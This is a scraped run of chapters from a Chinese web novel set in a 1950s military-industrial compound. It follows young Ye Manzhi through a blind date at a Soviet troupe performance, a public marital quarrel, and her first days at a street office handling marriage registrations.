“你不是想看苏联青年艺术团的演出嘛,爸费了老鼻子劲,托人帮忙买了两张门票,到时候你跟吴团长一起去看。吴团长这个人很宽和,总是笑吟吟的。你俩要是能看对眼,自然皆大欢喜,万一瞧不中也没啥,只当是做伴去看演出了。见面地点不在家里,也省得被人撞见后说三道四……” 叶满枝没听清她爸后面说了什么,但这张门票却让她像浇了水的花一样,整个人都精神了。 苏联青年艺术团只在滨江举行三场访问演出。 报纸前期宣传报道的时候,打出了“斯大林奖金获得者”和“俄罗斯苏维埃联邦社会主义共和国功勋演员”的招牌。 早在看到演出信息时,她就蠢蠢欲动,想要一睹功勋演员的风采了。 奈何票价高昂,且一票难求,她只有眼馋的份。 觑着这张唾手可得的门票,她突然觉得,只是去相个亲而已嘛,真没啥大不了的! * 叶满枝拿到了渴求以久的演出门票,当晚便梦见自己站上了青年宫的舞台,与苏联功勋男演员加里别林,共舞了一曲《红绸舞》。 红绸如海浪般在周身飘舞,台下掌声喝彩声不断。 观众的认可让她飘飘然,绸子挥舞得愈发卖力,在她即将与加里别林展示一个高难度配合时,吴峥嵘不知从哪里冒了出来! 先是随手用红绸把男演员捆成一个粽子,继而用枪指着她的腿,皮笑肉不笑地说:“废你一条腿,还是跟我谈对象,你自己选吧!” 梦里的她毅然道:“ 5.第 5 章 《五十年代军工大院》全本免费阅读 市青年宫是一座东西欧风格结合的白色建筑。 建设初期,由于经费紧张,叶满枝和同学们曾响应共青团市委“艰苦奋斗、自力更生”的号召,一起到工地上义务劳动了一个多月。 今天还是她第一次参观自己的劳动成果。 在门口检票以后,先去楼上看了舞厅、游艺厅、展览厅,又在几位苏联舞蹈家的巨幅宣传画报前徘徊许久。 直到临近约好的见面时间,她才终于停止闲逛,呼出一口气,排队走进了剧场。 观众席已经坐满大半,叶满枝环顾四周,没能发现穿军装的绿色身影,只好按照票根寻找自己的座位。 一楼,8排16座。 照进观众席的灯光并不明亮,她握着票根,一步一个台阶,数到了第8排。 正要按照座椅靠背上的数字寻找16号时,不期然与过道旁的男同志对上了视线。 对方的目光在她脸上游移片刻,而后起身确认:“叶满枝同志?” 声音低沉,带着一种特有的温和。 叶满枝只觉一片阴翳从上方笼罩下来,仰头看清对方面容后,她攥了下手心,微笑打招呼:“吴团长您好,久等了吧?” “我也刚到,”吴峥嵘错身让开位置,“请坐吧。” 他今天用衬衫西裤替代了严肃的军装,目光克制有礼,外表英俊斯文,不明底细的人见了,八成会将他错认成大学里的年轻教授。 只不过,没上膛的枪依旧危险,入了鞘的刀照样锋利。 许是先入为主的印象太过深刻,叶满枝面对看似温和的吴团长时,神经一直紧绷着。 尴尬宛若滴进清水里的墨汁,在两人间晕染蔓延。 气氛一时竟有些冷场。 瞥见她放在腿上的手,正不安地交握在一起,吴峥嵘默然片刻,递给她一张类似请柬的卡片。 “这是今晚的节目单,可以先看看有没有你喜欢的节目。” 叶满枝目光快速掠过其他观众,没见到谁手上还有节目单,不由问:“吴团长,您从哪里拿的节目单?” 她也想要一份留作纪念。 “跟工作人员要的,这种大型演出一般都会准备节目单。”吴峥嵘语气随意,“你留着吧。” 叶满枝连忙礼貌道谢,眼睛自然弯出好看的弧度。 她的相貌随了出身江南的姥姥,柔和圆润,漂亮但没什么攻击性,有些澄山净水的味道。 不说话的时候,俨然一个气质恬静的小姑娘。 是以,对于媒人称赞她“知书达理”“温柔乖巧”,吴峥嵘在见到本人后没有产生任何怀疑。 其实自从他被调回滨江工作,祖父已经帮他物色了十余位适龄女同志。 气质上与身边的小叶同志近似,有着吴家媳妇一脉相承的贤淑柔顺特质。 温柔贤惠的姑娘没什么不好,但他并不准备再给吴家增添一位看丈夫眼色行事的媳妇了。 故此,只与世交家的女儿见过一面,吴峥嵘便不再应付这种千篇一律的相亲。 未曾想老爷子居然背着他找到单位,请党组织出面替他解决个人问题。 而组织上为他安排的联谊,某种程度上相当于政治任务,不好无故推脱…… 吴峥嵘侧目看向身边的女同志,对方正垂眸研究那张仅有一页纸的节目单,波浪似的马尾束在脑后,露出一截纤长的脖颈和精巧的下颌。 故作轻松里,有他一眼就能看透的忐忑。 与车间门前那个捧着包袱,惶惑不安的小姑娘完美重合了。 想到对方刚刚高中毕业,比他最小的妹妹还要小一岁,吴峥嵘冲前方背着保温箱的工作人员招招手,买了瓶冰镇汽水递给她。 又让自己用尽量和缓的语气说:“厂妇联的姚主席昨天才跟我提到咱们要见面的事,时间比较仓促,不知你是否了解我的情况?” 叶满枝心说,老叶和大姐都快把你的祖上三代摸清了,我当然了解啦! 但她也知道,介绍各自的情况是题中之义。 于是颔首道:“听说您也是咱们滨江人,前些年一直在外参加革命工作,去年才被调回六五六厂当驻厂军代表……” 吴峥嵘淡笑了下,纠正道:“准确地说,是暂代军代表。原来的军代表王团长是老革命,因为身体原因被调离了。以我的年龄和资历,还不够格担任六五六的军代表,所以目前只是暂代的。” “啊……” 叶满枝握着汽水瓶子发愣,搞不懂他为什么要跟自己解释这些。 听其言观其行,她很想观察吴团长说话时的表情,可是出于某些不太争气的原因,她只匆匆扫了眼对方过分优越的侧脸,便不着痕迹坐正了身体。 只听吴峥嵘继续道:“如果中央有了更合适的人选,少则半年,多则两年,就会有人来接替我的位置。” 叶满枝福至心灵地问:“到时候您还要回总后勤部吗?” “也许吧。” 叶满枝若有所思地点点头。 老叶之前提过一嘴,但大家都理所当然地以为吴团长会顺利转正,以后就在滨江扎根了。 若是知道他有可能离开,老叶恐怕不会安排这次相亲。 她瞟向身旁神色自若的吴团长,心中不免犯嘀咕。 以前那些没了下文的相亲对象,该不会都是被他这种开诚布公吓退的吧? 两人围绕个人情况随便聊了几句,没多久就听到演出开场的响铃声。 开场节目是苏联功勋演员阿·西特尼科娃带领年轻演员演绎的波尔卡舞,曲调欢快,编舞新颖。 吴峥嵘似乎很喜欢这类歌舞节目,坐姿轻松闲适,指尖还会随着节拍在扶手上不时轻点。 叶满枝也渐渐沉浸到演出的欢乐气氛中。 …… 节目尚未过半,有人伸手在她眼前晃了晃。 她扭头看过去,座位旁的过道里,不知何时站了一位中年女同志,正用审视的目光打量她。 以为这是迟到的观众,叶满枝准备起身让行。 对方却定在原地,用下巴指向她左边的座位问:“你跟他是一起的吗?” 叶满枝下意识瞄一眼左侧戴着礼帽的男观众,摇头说:“不是。” 眼见过道里的女人表情有异,她凭着直觉将肩膀靠向右侧的吴团长,补充道:“我跟这位同志一起的。” 得到答案的女人了然点头。 而后,电光石火间变故陡生。 在所有人毫无防备时,她如饿虎扑食一般,突然扑向了观众席! 上半身压上了吴峥嵘和叶满枝的大腿,左手一挥,往礼帽男的脸上甩了一巴掌,右臂一抡,又精准打击了他另一侧的女同志。 “啊——” 猛然受到袭击的年轻姑娘失声尖叫,周围的观众也跟着骚动起来。 叶满枝被这一幕惊得瞠目结舌,不经意扭头时,发现吴团长那张美人脸上的表情,由从容变成错愕,再到无语。 表情丰富得让她不合时宜的有些想笑。 她也不知哪来的勇气,抱住趴在自己腿上的女刺客,慌乱道:“大姐,有话好好说,可不能打人呀!” 对方却置若罔闻,再次挥手甩向礼帽男。 “好你个陈金旺,别以为装模作样戴个帽子我就认不出你了!你不是说去厂里开会吗?怎么开到剧场里来了?” “哎呀,误会误会!赶紧住手!” 女人并不听他解释,啪啪几下,连打带挠,很快就让礼帽男挂了彩。 夏天穿得薄,她身上只套了件洗得褪色的短袖褂子,两条腿还会随着打人的动作不断踢腾,好似旱地游泳。 旁人若想阻拦,难免束手束脚。 吴峥嵘在她“游”得越来越过分时,单手擒住她的衣领,依靠手臂的力量将还欲行凶的女人提到了过道里。 他肩宽腿也长,高大的身形隔在两方中间,宛若一道结实的屏障。 “同志,这是公共场所,无论你们之间有什么矛盾,都去外面解决!” 被唤作陈金旺的男人哎哎叫道:“对啊,你能不能分清场合!这真是误会!” “误会个屁!”女刺客恶狠狠地看向他身边的年轻姑娘,“人家刘嫂子亲眼看到你带着狐狸精走进青年宫的!” 被她点到的姑娘不干了,“你说谁是狐狸精?” “说的就是你!描眉画眼烫花头,凡是脱离人民群众的,都不是好东西!” 叶满枝摸摸自己的宝贝花头,略有些心虚地往吴团长身后躲了躲。 她可没脱离群众啊,这是她第一次烫头! 双方的争执引来了许多关注。 嘈杂的议论声中,还夹杂着让人听不懂的俄语询问。 处于众人焦点的陈金旺深觉没面子,在女人又一次跳起来打人时,怒吼道:“刘桂花,你有完没完!咱俩已经离婚了,我出来干什么是我的自由,跟你有什么关系!” 刘桂花呸了一声,“谁跟你离婚了?什么时候离的?我就说嘛,好端端的,昨天怎么突然跟我提离婚,原来是在外面有人了!” “咱俩那是封建包办婚姻!《婚姻法》早就废除包办强迫婚姻了,咱俩的婚姻不合法!” “当初谁强迫你了?有人拿刀逼着你跟我生娃吗?” 旁人的窃笑,让陈金旺脸上红紫各半,恼羞成怒道:“你不用跟我胡搅蛮缠,现在提倡婚姻自由,只要被包办的婚姻里有任一方提出离婚,这婚就铁定能离!我已经拿到离婚证了!” 闻言,刚刚还有笑声的观众席,陡然安静下去,同情的目光纷纷汇聚到刘桂花身上。 刘桂花出身农村,因着男人有出息,才得以陪着公婆儿女进城生活,那个什么《婚姻法》她听都没听过。 但她突然记起,上个月老陈回家拿走了户口册和居民证,还要了她从村里开出的介绍信,据说是厂里登记信息要用的。 她当时没多想,顺手把东西找了出来。 不曾想这王八蛋竟然敢背着她,偷偷摸摸把离婚证领了! 刘桂花被气得面皮涨紫,控诉道:“我嫁进你们陈家20年,伺候完老的,伺候小的,你凭什么说离婚就离婚?” 说到最后几个字时,已经隐隐有了哭腔,让人听了莫名心酸。 陈金旺别开脸不说话。 青年宫的工作人员也闻声赶了过来,欲将不速之客带离剧场。 既伤心又生气的刘桂花死死扣住椅背不松手,非要跟男人讨个说法。 双方僵持下来,舞台上的演出也受到了影响。 见状,叶满枝越过吴团长的肩膀,于心不忍地问:“大姐,你俩离婚这事,跟双方单位和街道说了吗?” “没有,我没想离婚!” “那你们现在就还是合法夫妻呀,”叶满枝瞄一眼那个陈金旺,“他没离婚就跟其他人私通,这是生活作风问题!” 陈金旺见她生得面嫩,一看就是没什么阅历的小姑娘,不由厉声问:“你算干什么的?我手里有离婚证,私通的帽子可不是你这样乱扣的!” “大姐不同意离婚,你是怎么拿到离婚证的?”叶满枝根本不信他的鬼话。 “你懂不懂《婚姻法》?这种包办婚姻,我想离就能离!” 叶满枝轻蔑哼道:“不懂《婚姻法》 6.第 6 章 《五十年代军工大院》全本免费阅读 演出八点结束,叶满枝到家时已经九点多了。 大门刚打开一条缝,正在客厅里搭床的四哥便大喊:“老幺回来啦!” 其余人匆忙从屋里跑出来,常月娥觑着闺女的神色问:“刚才是你自己回来的,还是跟吴团长一起的?” “吴团长送我回来的。” 常月娥悬着的心刚放下一半,就听老四媳妇满含期待地问:“吴团长为人怎么样?好相处吗?” 驻厂军代表不比副厂长差,要是能跟军代表看对眼,沈亮妹愿意供着小姑子在娘家待一辈子! 叶满枝没精打采道:“还不错,听说我在找工作,吴团长就说可以介绍我去街道办上班,还给我写了一封推荐信。” 全家人:“……” 不是去相看对象的吗?怎么就变成介绍工作了? 看过闺女带回来的那封推荐信,叶守信最先回过神来。 “我就说嘛,我看人的眼光从来没错过!别看小吴这人话不多,但是待人特别真诚,绝对是个热心肠!” 经过一次相亲,吴团长在他这里自动变成了小吴。 这回轮到叶满枝沉默了。 她见到的吴团长,与她爸口中的小吴是同一个人吗? 人家刚给她推荐了工作,她这样说似乎不太好,可是,如果吴峥嵘那种也能算热心肠的话,那她的心肠岂不是滚烫滚烫的! 今晚处理礼帽男那件事的时候,他几乎全程袖手旁观,态度冷漠。 面对鼻血横流的相亲对象时,更是表情古怪,眼神揶揄。 尽管他当时什么也没说,甚至还关切地贡献出手绢给她擦鼻血。 可是! 此处无声胜有声! 振聋发聩啊! 被那样仿佛看透一切的目光注视着,她恨不得当场表演一个飞天遁地! 哎,她说自己最近有点上火,也不知对方信了没有…… 叶满枝心中百转千回,暗叹美色误人,美人恩果然是最难消受的。 家人们却觉得这次相亲很有戏,打听起两人的见面细节。 她挑着能说的说了,然后不经意似的问:“爸,吴团长说他在厂里的职务只是暂代的,可能过不了多久就会被调回北京了。这事你知道吗?” 今晚丢人丢到了姥姥家,里子面子全无,她巴不得再也不要跟吴峥嵘碰面。 以她对父母的了解,他们是绝不会让她远嫁的。 果然,叶守信停下动作,皱眉问:“这是他亲口跟你说的?” “对呀。”叶满枝将两人的对话学了一遍。 叶守信与媳妇交换个眼神,眉心拧出一个川字,“军令如山,被调回首都还算好的,万一去了哪个犄角旮旯,连通信都不方便。” 暂代职务可能只是吴团长的托词,真实情况恐怕是人家没相中自家闺女。 他背着手思忖良久后,遗憾摇头,“咱家姑娘不远嫁!我明天给媒人回个话,这事还是算了吧。” 常月娥生怕第一次相亲的闺女伤心,安慰道:“好在吴团长慧眼识珠,替你介绍了一份好工作,咱家那两张演出门票的钱没白花。” 换个角度想,那吴团长办事还是很体面的。 四哥把玩着蝈蝈罐子,没眼色地拆台:“街道办算什么好工作呀!那边都是阿姨大娘老太太,小妹这么年轻,去街道办干啥?” “你说的老太太都是居委会的,街道办跟居委会能一样吗?街道的可是干部编制!” 具体有什么不一样,叶守信也说不太清。 但现在工作单位不好找。 车间老刘家的二小子也是今年毕业的,因着找不到合适的工作,前天就加入市里的青年志愿垦荒先遣队,去松北建设集体农庄了。 叶来芽不是做农活的那块料,与其去垦荒,还不如去街道办跟大娘老太太待在一起呢。 相比于懵懵懂懂的父母和弟弟,三哥叶满堂可就明白多了。 “上班的归单位管,上学的归学校管,既不上班也不上学的归街道管,咱们厂的大多数工人家属,都要听街道招呼。大到征兵、招工,小到发结婚证、开介绍信,都是街道负责的。小妹那个裁缝生意,不就是被街道办叫停的嘛……” 县官不如现管,街道办的规模不如工厂,但权力着实不小,辖区居民的大事小情都能说得上话。 四哥给蝈蝈喂了根豆芽,抽空抬头说:“刘卓他妈在居委会当主任,每个月只有三块钱的补贴!老幺,你去街道上班,能拿多少工资啊?” 三块钱也太少了点,还没他伺候蝈蝈赚得多呢! 他一直以为拥有高中学历的小妹能进大单位坐办公室,没想到一下子就被支去了只有小猫三两只的街道办。 叶满枝还在惦记兜里那块沾了血的手绢,只想尽快将其清洗干净,毁尸灭迹,然后把这件糗事烂在肚子里。 她怏怏道:“不知道能有多少工资,明天去街道办问问就清楚了!” * 叶家人对这份工作的评价褒贬不一,但叶满枝本人还是很珍惜机会的。 转天上午就带上推荐信出门了。 街道办离家不远,位于临街的一座小院中,隐藏在一眼望不到头的棚户区里。 行道上的银杏树遮阳蔽日,阳光透过枝叶,斑驳地落在门边的条牌上。 “滨江市正阳区光明街道办事处”。 叶满枝并不是第一次来街道办,二姐夫徐大军举报她私开裁缝店那段日子,她没少往这边跑。 此时便径直走进了正对大门的红砖平房。 办公室门口有居民在排队开介绍信。 街道主任的办公桌在最里面,叶满枝刚推门进来,就被眼尖的穆主任发现了。 “小叶来了,也是为了你哥嫂离婚的事吧?最好还是让他本人来一趟,总是逃避调解也不是办法!” 叶满枝汗颜,随口替三哥解释几句,便道明来意,将吴团长的推荐信递了过去。 穆兰展开信纸,短短几行字,被她反复看了两三遍,间或从镜片后面打量叶满枝两眼。 等了不知多久,才听她笑着说:“吴团长肯推荐人才,我们当然求之不得。小叶,你的情况我了解一些,对于你这样文化程度比较高的女同志,咱们街道办肯定是热烈欢迎的!” 她语调铿锵,说话时带着股亲切的爽利劲儿。 叶满枝连忙道谢,想起昨晚老叶和三哥为她突击培训的《应对领导的20句套话》,又谦虚道:“穆主任,我是第一次参加工作,欠缺经验,还得麻烦您多指点呢。” 穆主任对她的表态好像挺满意,看过她带来的毕业证和相关材料,便笑着说:“小叶,推荐信我们收下了,街道这边要先核实一下情况,争取尽快给你答复。” 核实学历和家庭成分是必须的,叶满枝早有心理准备。 街道领导的态度已经比其他单位和气多了,想必是吴团长的面子起了作用。 尽管吴团长用暂代职务的烂借口婉拒了她,兀自嘲笑她流鼻血的神态也有点可恶,但人家帮忙推荐了工作,她心里还是知道好歹的。 将吴峥嵘的名字从她的记仇本上划掉,叶满枝与穆主任道别,满心欢喜地回家等消息去了。 而办公室里的穆兰却拿着那封推荐信,与隔壁的副主任感叹:“你说这都叫什么事啊!” 张勤简一手茶缸,一手报纸,不走心地应和:“人家帮忙推荐人才,那肯定是好事。” “要是只来一个小叶,咱直接将人留下就行。高中生,人又漂亮,放在办公室里至少能饱个眼福!”穆兰拉开抽屉,又拿出相似的四张条子来,“这不是关系户扎堆么!” 张勤简终于舍得放下报纸了,也掏出两个信封来,“我这也有俩人呢,咱们抽空商量一下指标怎么分配吧。” 每个街道办的人员编制是有标准的,根据辖区内居民总人数,安排5-7名干部。 主任和副主任作为正式干部,由区里指派。 其他人员均为补充干部,可以由街道自行招聘。 光明街是6人编制,前阵子搞公私合营的时候,有一个办事员去合营饭店当公方经理了,还有一个走门路调去了656厂工会。 这才空出两个人员缺口。 谁知他们的招聘公告还没贴出去呢,推荐人才的条子就争先恐后递了进来。 张勤简提议:“这事不能拖了,拖得越久,打招呼的人越多。目前总共有七个人选,符合初中以上学历条件的,只有四人。咱们以前对学历把关不严,这回干脆就用学历当红线吧,谁也挑不出毛病来。” 那么,四选二,把谁刷掉? 穆兰将这四人的推荐信挑出来,一一摊在桌面上。 落款领导的名字,有区里的,也有附近单位的。 街道办的工作承上启下,需要得到各方面的支持,穆兰一贯秉承的是团结一切可以团结的力量。 为了补充人手的事得罪人,属实没必要。 她默默沉思良久后,开口说:“做街坊工作,性情能力比学历更重要,要是再招进一个凤朝阳那样的,头疼的还是咱们。反正新同志都有试用期,我看可以让他们都来试岗两个月。提前将利弊讲清楚,到时候只挑两个表现最好的留下来,能接受的就来上班试岗。” 张勤简想说这样不合适,搞不好会把所有人都得罪了,可是想到凤朝阳那个德行,他又闭上了嘴。 这主意馊是馊了点,但好歹能让他对打招呼的老关系有所交代。 万一有人不愿意来试岗,还正好省了他的麻烦。 “那就按照主任的意思办吧!” 他将几封推荐信归拢到一起,翻到叶满枝那封时,纳闷道:“吴峥嵘怎么也递了条子过来?” 光明街的大部分居民都是六五六厂的职工和家属,两个单位的联系相当密切。 吴峥嵘这个年轻领导做事有分寸,也不是多事的人,他会插手街道办的招工工作,还挺让人意外的。 “上次去区里开会,我开玩笑说他们656厂工会把咱们街道办的小刘撬走了,当时吴团长就说找机会赔给我一个人才。我以为都是玩笑话,谁知人家还真的介绍了一个高中毕业生过来!” 穆兰心里对两人的关系有些猜测,但想到两人的年龄差,又很快打消了念头。 六五六是超大厂,内部是熟人社会,家家户户都有千丝万缕的联系。 兴许这两家有什么亲戚关系也说不定。 * 穆主任只在心里揣测,而光明街另一边,六五六厂的食堂里,已经有人问到了吴峥嵘本人面前。 “昨天跟你一起看演出那姑娘怎么样?” “挺好的。不过,我这边的环境你也看到了,最近赶上了交付期,又要准备为国庆献礼,时间紧任务重,暂时没时间考虑个人问题。小姑,你吃过午饭就回单位上班吧。” “谁的工作不忙?干革命工作也不耽误你成家呀!” 吴小姑特意跟学校请了两小时的事假,就为了探查侄子的相亲情况。 这个侄子一向坚定又有主意,她若是不强硬,昨天那场相亲又会不了了之。 吴小姑望向对面,夏日的炽热阳光拂上吴峥嵘的侧脸,让人看不清他的表情,她目光停了两秒,神色微妙地问:“你是不是又犯老毛病了?” “没有。” 吴峥嵘答得坦荡,吴小姑却并不相信。 她这个侄子头脑极其灵光,十五岁就以全省会考第一的成绩考进了由北大、清华、南开三所大学合并而成的西南联大。 任谁都要赞一句少年英才。 但自家之事自家知,别看这小子对外表现得谦和有礼,温文尔雅,内里却极为恃才 7.第 7 章 《五十年代军工大院》全本免费阅读 作为被人争取的对象,叶满枝本人毫不知情。 两天以后,她如愿接到了穆主任的通知,可以去街道办报到上班了! 早上八点的空气从未如此清新过。 叶满枝一手夹着笔记本,一手提着墨水、茶缸、大饭盒,神采奕奕地跨进了新单位的大门。 整个人比房前那排向阳而生的大葵花还精神! 办完各自的手续后,穆主任为四位来试岗的新同志举办了一个小型欢迎会。 代表正阳区人民委员会、光明街道办事处,欢迎新同志的加入。 随后,她向大家介绍了光明街道办的情况。 辖区面积2.5平方公里,与隔壁公安派出所的管辖区域一致,他们管到哪,街道办就能管到哪! 辖区人口一万八千人,再次强调,与派出所管辖的人口数量是一模一样的! 叶满枝认为这两次强调非常有效,新单位在她心里的形象,瞬间就高大了! 穆主任笑着说:“许多老百姓会把街道办和居委会混为一谈,实则两者根本不是一回事。居委会是群众自治性组织,大多数同志是被街坊选出来的热心居民。” “而咱们街道办是一级政府的派出机关,既要宣传党的方针政策、行政法规,又要指导居委会工作,提高居民的社会主义觉悟!说得直白一点,咱们是最基层的国家干部!” “……” “……” “好了,多的话我就不说了。冲锋在前,休息在后,是我们这个班子的传统!既然大家都是准国家干部,就必须遵守党政干部‘三大纪律,八项注意’。尽快适应街道的工作,早日做好一万八千名居民的勤务员,为我们伟大的共产主义事业添砖加瓦!” 穆主任的讲话很能提振士气,配上她身后那幅“为人民服务”的题字,让叶满枝的心情也随之激扬起来。 昨天她还是待业女青年,今天就成为准国家干部啦! 副主任张勤简在此时清了清嗓子,引起大家的注意。 “穆主任的讲话已经很全面了,我只额外补充一点。作为街道干部,大家在衣着打扮方面要多注意!咱们提倡的是艰苦朴素,端庄大方。某些同志在这方面还是有待提高的……” 叶满枝垂眸扫一眼自己身上的蓝白格子布拉吉,袖口缝了一层花边儿,既漂亮又朴素。 “某些同志”指的应该不是她。 另三位同志显然也是这么想的,都用茫然又无辜的眼神望着张副主任。 张勤简高估了新同事的觉悟,只好将话讲得更明白。 “咱们街道办是要面向群众的,你说你今天描个眉毛,明天烫个头发,让群众怎么看待咱们的干部?” 话说到了这个地步,叶满枝终于意识到,副主任是在点她呢。 虽然她没描眉毛,但她烫头了呀! 她有些心虚,正想解释一二,旁边的刘金宝却抢先发言了。 “张副主任,我这卷发是天生的自来卷儿,我可没烫头!” 叶满枝惊诧望向这个娃娃脸,无比佩服他敢于撒谎,无惧穿帮的胆量。 刘金宝与她也算熟人,她当裁缝赚外快那会儿,刘金宝是她唯一的男顾客,也是她接触过的最赶时髦、爱打扮的男同志。 他那时的头发可是很直溜的! 张勤简一辈子也没见过几个烫头的,盯着刘金宝的卷发端详片刻,一时判断不出真假,便将目标转移到描眉毛的庄婷和烫头发的叶满枝身上。 “小叶,你这个是什么情况?” 叶满枝可不敢撒谎,坦白讲:“我前几天去相亲了,为了变得漂亮点,被我姐带去烫了头发。要是早知能来咱们街道工作,我就不烫了!” 闻言,刚刚还张口“国家干部”,闭口“共产主义”的两个主任,异口同声问:“那相中了没有?” “……”叶满枝说,“没有。” 街道办在她心里的形象,一下子又从威严的公安派出所,跌回到居委会同一水平线了。 穆主任安慰道:“相亲没有一次就成的,你还年轻呢,不着急!” 紧接着,她刻意忽视了张副主任对大家衣着打扮的要求,给几人做了工作分工。 按照老带新的原则,现有的四个老同志,每人要带一位新同志。 由于民政工作是直接面向群众的,诸如做结婚登记、换购粮本,每天需要进行大量书写,所以穆主任将四人的履历表找出来,递给了旁若无人看报纸的凤朝阳。 “老凤,这是给你找帮手,你自己挑一个吧。” 凤朝阳双手举着报纸,偏头往四张履历表上撩了一眼,又很快挪开视线。 “你是主任,你决定吧。” 对于四人的字迹,她没有半句点评,但轻慢的态度已经说明一切了。 穆主任打圆场:“老凤是咱们区书法比赛的冠军,要求比较高。依我看,除了刘金宝,大家写的都挺工整。” 刘金宝对自己的那笔烂字不以为耻,机灵地奉承:“难怪群众总是排队找凤姨开介绍信呢,原来凤姨是书法大家,以后我们都要向凤姨多多学习!” 报纸后的凤朝阳呵呵两声,“负责民政工作的就剩我一个人了,不找我找谁?” 马屁拍到了马腿上,刘金宝挠挠头上的“自来卷”,不再自找没趣了。 有眼睛的都看得出凤姨难相处,因此,当穆主任询问谁会画画时,大家都没吱声。 办公室里陷入尴尬的安静,期间有人推门进来盖戳,见了这个阵仗,又默默退了出去。 穆主任的目光在几人身上一一划过,当她第二次望过来时,叶满枝主动举了手。 “主任,我只会画点做衣服用的图样,这种水平可以不?” “你先画两笔给大家看看。” 叶满枝用铅笔在报纸边缘画了一枝梅花,觉得有些敷衍,又在旁边快速勾勒出一朵牡丹。 “您看怎么样?” “我瞧着挺不错的,”穆主任扭头招呼,“老凤,你来看看呢?” 凤朝阳轻飘飘扫来一眼,从鼻腔里发出一声嗯,“除了她,还有其他选择吗?先凑合用吧。” “那行,小叶,以后就跟着你凤姨工作,老凤的书画水平在全市都是数得上号的,你多跟老凤学习!”穆兰甩包袱似的迅速拍板,“民政和宣传工作就交给你们了!” 叶满枝连连点头,她对自己的分工还挺满意的。 凤姨的工作属于内勤外勤结合,除了为群众开介绍信、做婚姻登记,偶尔还要带着粉笔、油漆,在布告栏和围墙上写写画画。 既不会一直坐办公室,也避免了全天出外勤,工作灵活度非常高。 至于让其他人望而却步的凤姨,呵呵…… 叶满枝长到这么大,还没遇到过她搞不定的中老年妇女呢! 她觉得问题不大! 此时的她尚未意识到,凤朝阳同志并不是普通的中老年妇女,也不是“难搞”就能简单概括的。 当然,这些都是后话了。 * 欢迎会结束后,叶满枝被分到了门边的办公桌,与凤姨并排,方便群众办事。 今天是个宜嫁娶的好日子,来登记的新人络绎不绝。 结婚证要手写新人姓名、年龄和登记日期,大家图吉利,想找写字好的,都点名找眉心有颗痦子的大姨办|证。 叶满枝没有凤姨的群众基础,便主动帮忙检查大家的登记材料,间或往本本上盖戳。 小半天的时间,她吃了一块橘子糖,一块话梅糖,还给爹妈攒了一小把喜糖。 这样有滋有味,喜气洋洋的日子持续了两天。第三天临近午休时,有一对年轻男女牵着三个孩子走进了街道办。 凤朝阳不但对同事不咸不淡,对来访群众也一视同仁,“已经午休了,怎么不早点来?” 男人粗声粗气道:“我刚从外地回来。不是12点午休吗,还有五分钟,能不能通融通融?” 凤朝阳将公章锁进了抽屉,“五分钟不够用,明天再来吧。” “往结婚证上写几个字能占用你多长时间?” 男人脸上有道狰狞伤疤,从眼角蜿蜒到下巴,一看就不好惹。 叶满枝真怕凤姨把人惹毛了挨揍,毕竟这事有过先例,据刘金宝透露,凤姨去年就被人打过。 她连忙笑着恭喜二位新人,将两人喊过来,接手了他们的登记材料。 新娘郭二妮,农村社员,户籍证明和介绍信是农业生产合作社开的。 新郎赵振华,无业,光明街居民,只带了居民证,没带户口册,登记前还需去派出所开个户籍证明。 叶满枝将情况解释清楚,让男同志先去后面的空桌填表格,又请闲来无事的刘金宝去隔壁派出所帮忙核实一下户籍信息,这才继续审核其他材料。 她刚上手民政工作,审核速度慢,逐字逐句看得非常仔细。 所以, 8.第 8 章 《五十年代军工大院》全本免费阅读 刘金宝带来的消息,把叶满枝惊出一身白毛汗。 再看赵振华所在的角落时,总觉得那里凉飕飕的。 她在心里默默告诫自己,心存正念,邪祟退散。 然后,一脸正气道:“别说这世上没有鬼,就算真有鬼也不可能大白天被你撞见!” 刘金宝嗫嚅:“这事太邪乎了……” “放心吧,既然咱们都能看得见,那人家肯定是大活人!对了,赵振华是怎么死的来着?” “……”刘金宝听着别扭,但还是答道,“他以前是运输司机,去年跑长途的时候正赶上当地决堤,连人带车被卷进了洪水里,当地政府寻了他两个月没结果,就把他算进了死亡名单。派出所那边只记了这些,再具体的我也不清楚。” 叶满枝想到赵振华脸上的疤瘌,还有他亲口说的今天刚从外地回来,好像还真能对得上号。 就在两个小年轻探讨人家是人是鬼时,几步之外的赵国栋已经将他跟弟媳领证的初衷解释清楚了。 “二妮,我跟小月领证只是权宜之计,我要是不同意领证,她娘家那边就要逼着她另嫁了!小月求到了我这里,两个孩子也还小,我总不能眼睁睁看着孩子没妈!” 郭二妮往他脸上啐了一口,“你爹妈之前是怎么说的?一肩挑两房,只是让你照顾侄子侄女!我心软,像个傻子似的被你们全家劝动了,同意让你挑两房照顾孩子。结果呢?你俩竟敢背着我扯证!让你照顾孩子,谁让你娶弟媳妇了?你害不害臊!” “我俩真是清清白白的!领证只是走个过场,为了让亲家叔婶安心的,以后咱该怎么过还怎么过!”赵国栋急赤白脸地解释。 刘金宝刚还被吓得哆嗦,此时听了他的说辞,忍不住接话:“同志,这就是你不对了。你现在就敢背着大姐跟别人扯证,以后要是想背着大姐钻个树林儿,蹭个被窝啥的,那也是合法的。到时候你让大姐怎么办呀!” 穆主任瞪他一眼,制止他激化矛盾,对赵国栋说:“新社会实行一夫一妻制,没有‘一肩挑两房’、‘一子顶两门’的说法。你要是有两个媳妇就是重婚,违反婚姻法,咱们现在就可以去隔壁派出所了!” “没有没有!”赵国栋连连摆手,“我就一个媳妇,绝对没重婚!” “哦,”穆主任指向两个女同志问,“哪个是你媳妇?” 赵国栋望向面容沧桑的结发妻子,又将目光转向泪眼婆娑的弟媳,心里跟吞了团乱麻似的纠结。 背着媳妇领证是他理亏,但那是形势所迫没办法。 哎。 孙小月对上他的目光,凄凄切切地喊了声:“国栋!” “……”赵国栋眼中浮现怜悯,犹豫一阵后,低头对妻子说,“二妮,要不咱们……” 郭二妮不接话,拉过大儿子,命令道:“大奎,他从此就不是你们爹了,以后见了面就喊二叔。” 大奎知道,今天上午突然在家里出现,摔碎一个海碗,还说要替妈妈出气的人才是二叔。 但他心里对亲爹的怨气占了上风,用手背抹了把眼泪,大吼道:“二叔!” “乱喊什么呢!我是你爹!”赵国栋在儿子脑袋上敲了一记。 按照叶满枝的想法,被亲儿子喊叔的滋味一定不好受,赵国栋也许会回心转意。 不料,亲儿子一声“二叔”的作用,远不如小媳妇的那声“国栋”。 赵国栋纠结了一支烟的工夫后,闷闷地说:“二妮,就当我对不起你,我要是现在跟小月离婚,她就没活路了。往后我还会继续照顾你跟孩子,除了一张结婚证,咱们还跟以前一样!” 